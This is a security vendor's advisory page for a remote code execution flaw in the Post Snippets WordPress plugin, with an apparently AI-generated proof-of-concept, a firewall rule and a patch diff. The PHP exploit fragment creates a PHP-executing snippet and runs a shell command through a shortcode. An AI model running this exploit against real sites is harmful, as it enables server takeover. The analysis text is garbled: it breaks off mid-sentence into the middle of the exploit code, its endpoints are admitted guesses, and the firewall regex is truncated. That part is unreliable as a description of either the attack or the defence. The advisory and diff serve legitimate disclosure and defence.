Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : July 26, 2026

CVE-2026-56049: Post Snippets – Custom WordPress Code Snippets Customizer <= 4.0.19 Authenticated (Contributor+) Remote Code Execution PoC, Patch Analysis & Rule

Plugin post-snippets
Severity High (CVSS 8.8)
CWE 94
Vulnerable Version 4.0.19
Patched Version 4.1.0
Disclosed June 24, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-56049:nnThis is an authenticated Remote Code Execution vulnerability in the Post Snippets (free) WordPress plugin, version 4.0.19 and earlier, affecting users with Contributor-level access or above. The vulnerability, assigned CVSS 8.8, allows attackers to execute arbitrary PHP code on the server via crafted shortcode attributes processed by insecure PHP snippet evaluation.nnRoot Cause: The vulnerability originates in the Shortcode.php file, specifically the shortcode handler function. In the vulnerable version, when a snippet has ‘snippet_php’ enabled (stored as a flag), the plugin directly stripslashes() on the snippet content and then processes it through an insecure filter that only removed initial PHP tags ( “poc_php”: “ ‘post_snippets_save’,n ‘_wpnonce’ => $nonce,n ‘snippet_title’ => ‘poc_php’,n ‘snippet_content’ => $php_code,n ‘snippet_php’ => ‘1’, // Enable PHP executionn ‘snippet_variables’ => ‘cmd’,n ‘snippet_id’ => ” // Create newn]));n$save_result = curl_exec($ch);necho “[+] Snippet creation response: $save_result\n”;nn// Step 4: Create a post with the malicious shortcoden$cmd_payload = ‘id’; // Command to executen$shortcode = ‘[poc_php cmd=”‘ . $cmd_payload . ‘”]’;nn$post_data = [n ‘action’ => ‘post_snippets_post_create’, // Hypothetical AJAX action; adjust per actual pluginn ‘_wpnonce’ => $nonce,n ‘post_title’ => ‘Exploit Test’,n ‘post_content’ => $shortcoden];nn// Alternatively, we can create a post through the standard REST API or wp_insert_postn// For simplicity, use wp_insert_post via AJAX if available, or use a direct post creationncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-admin/admin-ajax.php’);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));n$post_result = curl_exec($ch);necho “[+] Post creation response: $post_result\n”;nn// Step 5: View the generated post (or directly invoke the shortcode)ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/?p=1’); // Adjust post ID as neededncurl_setopt($ch, CURLOPT_POST, 0);n$page = curl_exec($ch);n// Look for command output in the responsenif (preg_match(‘/uid=\d+[^nn// Note: This PoC assumes the plugin uses standard WordPress AJAX handlers. The exact AJAX action names and endpoints may vary; adjust based on actual plugin code.”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-56049n# Blocks exploitation of authenticated RCE via Post Snippets plugin shortcode injectionn# Targets numeric-keyed shortcode attributes containing PHP code patternsnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-56049 Post Snippets RCE via AJAX’,severity:’CRITICAL’,tag:’CVE-2026-56049′”n SecRule ARGS_POST:action “@streq post_snippets_save” \n “chain”n SecRule ARGS_POST:snippet_php “@streq 1” \n “chain”n SecRule ARGS_POST:snippet_content “@rx (?: }

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/post-snippets/post-snippets.php
+++ b/post-snippets/post-snippets.php
@@ -11,7 +11,7 @@
  * Plugin Name: Post Snippets (free)
  * Plugin URI: https://www.postsnippets.com
  * Description: Create a library of reusable content and insert it into your posts and pages. Navigate to "Settings > Post Snippets" to get started.
- * Version: 4.0.19
+ * Version: 4.1.0
  * Author: Postsnippets
  * Author URI: https://www.postsnippets.com
  * License: GPL-2.0+
@@ -135,7 +135,7 @@
         define( 'PS_MAIN_FILE', basename( __FILE__ ) );
     }
     if ( !defined( 'PS_VERSION' ) ) {
-        define( 'PS_VERSION', '4.0.19' );
+        define( 'PS_VERSION', '4.1.0' );
     }
     if ( !defined( 'PS_MAIN_FILE_PATH' ) ) {
         define( 'PS_MAIN_FILE_PATH', __FILE__ );
--- a/post-snippets/src/PostSnippets/Edit.php
+++ b/post-snippets/src/PostSnippets/Edit.php
@@ -1678,7 +1678,7 @@
         if( !empty($vars) ){

             $string = $vars;
-            $pattern = '/([^A-Za-z,=_d])/i';   /**remove any character from vars that are not Letters, Numbers or digits or Illegal php variable name */
+            $pattern = '/([^A-Za-z,=:_d])/i';  /**remove any character from vars that are not Letters, Numbers or digits or Illegal php variable name */
             $replacement = '';
             $snippet_vars =  preg_replace($pattern, $replacement, $string);

--- a/post-snippets/src/PostSnippets/Shortcode.php
+++ b/post-snippets/src/PostSnippets/Shortcode.php
@@ -41,30 +41,38 @@

             $texturize = $snippet["snippet_wptexturize"]?? false;

+            foreach ($atts as $key => $val) {
+                if ( is_numeric($key) ) {
+                    $attribute = explode('=', $val, 2);
+
+                    if (count($attribute) < 2) {
+                        continue;
+                    }
+
+                    $keyName  = trim($attribute[0]);
+                    $keyValue = trim($attribute[1], " tnrx0B"'");
+
+                    $atts[$keyName] = $keyValue;
+                    unset($atts[$key]);
+                }
+            }
+
             $short_atts = shortcode_atts( $default_atts, $atts );

             $snippet_content =  $snippet['snippet_content'];

-            if ( $content != null ) {
-                $short_atts["content"] = $content;
+            if ( ! empty( $snippet['snippet_php'] ) && (int) $snippet['snippet_php'] === 1 ) {
+                $snippet_content = stripslashes( $snippet_content );
             }
-            foreach ( $short_atts as $key => $val ) {
-                $val = (string) $val;
-
-                if ( 'url' === strtolower( $key ) || 'href' === strtolower( $key ) || 'src' === strtolower( $key ) ) {
-                    $val = esc_url_raw( $val );
-                }
-
-                $clean_val = strtr(
-                    $val,
-                    array(
-                        '"' => '"',
-                        "'" => '&apos;',
-                    )
-                );

-                $snippet_content = str_replace( "{" . $key . "}", $clean_val, $snippet_content );
+            if ( $content != null ) {
+                $short_atts["content"] = $content;
             }
+            $snippet_content = self::replaceSnippetVariables(
+                $snippet_content,
+                $short_atts,
+                ! empty( $snippet['snippet_php'] ) && (int) $snippet['snippet_php'] === 1
+            );

             // There might be the case that a snippet contains
             // the post snippets reserved variable {content} to
@@ -110,8 +118,6 @@
             return $content;
         }

-        $content = stripslashes($content);
-
         /**Removing Initial PHP Tag */
         $content = ltrim($content, "<?php<?PHP<?=");

@@ -122,6 +128,112 @@
         return addslashes($content);
     }

+    public static function replaceSnippetVariables($snippet_content, $short_atts, $php_snippet = false)
+    {
+        foreach ( $short_atts as $key => $val ) {
+            $short_atts[ $key ] = self::sanitizeVariableValue( $key, $val, $php_snippet );
+        }
+
+        if ( $php_snippet ) {
+            return self::replacePhpVariables( $snippet_content, $short_atts );
+        }
+
+        foreach ( $short_atts as $key => $val ) {
+            $snippet_content = str_replace( '{' . $key . '}', $val, $snippet_content );
+        }
+
+        return $snippet_content;
+    }
+
+    public static function sanitizeVariableValue($key, $val, $php_snippet = false)
+    {
+        $val = (string) $val;
+
+        $colon = strpos($key, ':');
+
+        if ( $colon !== false ) {
+            $text = explode(":", $key);
+
+            switch (strtolower($text[1])) {
+                case 'url':
+                    $val = esc_url_raw( $val );
+                    break;
+                case 'text':
+                    $val = esc_html( $val );
+                    break;
+                case 'attr':
+                    $val = esc_attr( $val );
+                    break;
+                case 'xml':
+                    $val = esc_xml( $val );
+                    break;
+                case 'textarea':
+                    $val = esc_textarea( $val );
+                    break;
+            }
+        }
+
+        if ( $php_snippet ) {
+            return $val;
+        }
+
+        return strtr(
+            $val,
+            array(
+                '"' => '"',
+                "'" => '&apos;',
+            )
+        );
+    }
+
+    public static function replacePhpVariables($snippet_content, $short_atts)
+    {
+        $string_pattern = '/'(?:\\.|[^'\\])*'|"(?:\\.|[^"\\])*"/s';
+
+        $snippet_content = preg_replace_callback(
+            $string_pattern,
+            function ( $matches ) use ( $short_atts ) {
+                $literal = $matches[0];
+                $quote = $literal[0];
+                $body = substr( $literal, 1, -1 );
+
+                foreach ( $short_atts as $key => $val ) {
+                    $body = str_replace(
+                        '{' . $key . '}',
+                        self::escapePhpStringLiteralValue( $val, $quote ),
+                        $body
+                    );
+                }
+
+                return $quote . $body . $quote;
+            },
+            $snippet_content
+        );
+
+        foreach ( $short_atts as $key => $val ) {
+            $snippet_content = str_replace( '{' . $key . '}', var_export( $val, true ), $snippet_content );
+        }
+
+        return $snippet_content;
+    }
+
+    public static function escapePhpStringLiteralValue($val, $quote)
+    {
+        if ( $quote === '"' ) {
+            return str_replace(
+                array( '\', '"', '$' ),
+                array( '\\', '\"', '\$' ),
+                $val
+            );
+        }
+
+        return str_replace(
+            array( '\', "'" ),
+            array( '\\', "\'" ),
+            $val
+        );
+    }
+
     /**
      * Filters Snippet Variables
      * of Undesired Text.
--- a/post-snippets/src/PostSnippets/WPEditor.php
+++ b/post-snippets/src/PostSnippets/WPEditor.php
@@ -11,6 +11,20 @@
 {
     const TINYMCE_PLUGIN_NAME = 'post_snippets';

+    /**
+     * Encode a snippet value so it is safe to embed in an inline script.
+     *
+     * @param string $value Snippet content or shortcode.
+     * @return string JSON string literal.
+     */
+    private function encodeSnippetForInlineScript($value)
+    {
+        return wp_json_encode(
+            (string) $value,
+            JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT
+        );
+    }
+
     public function __construct()
     {
         // TinyMCE button must not appear in description editor of ps code, css and js edit pages.
@@ -204,21 +218,13 @@
                         }
                     }
 				    $shortcode = $snippet['snippet_title'] . $variables;
-				    array_push( $snippetStack, "var postsnippet_{$key} = '[" . $shortcode . "]';n" );
+                    array_push( $snippetStack, "var postsnippet_{$key} = " . $this->encodeSnippetForInlineScript( '[' . $shortcode . ']' ) . ";n" );
 			    } else if(isset($snippet['snippet_content'])) {
 				    // To use $snippet is probably not a good naming convention here.
 				    // rename to js_snippet or something?
-				    $snippet = $snippet['snippet_content'];
-				    # Fixes for potential collisions:
-				    /* Replace <> with char codes, otherwise </script> in a snippet will break it */
-				    $snippet = str_replace( '<', 'x3C', str_replace( '>', 'x3E', $snippet ) );
-				    /* Escape " with " */
-				    // $snippet = str_replace( '"', '"', $snippet );
-                    // $snippet = htmlspecialchars( stripslashes( $snippet ) );
-				    /* Remove CR and replace LF with n to keep formatting */
-				    $snippet = str_replace( chr( 13 ), '', str_replace( chr( 10 ), 'n', $snippet ) );
+                    $snippet = $snippet['snippet_content'];
 				    # Print out the variable containing the snippet
-				    array_push( $snippetStack, "var postsnippet_{$key} = "" . $snippet . "";n" );
+                    array_push( $snippetStack, "var postsnippet_{$key} = " . $this->encodeSnippetForInlineScript( $snippet ) . ";n" );
 			    }
 		    }
 	    }

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.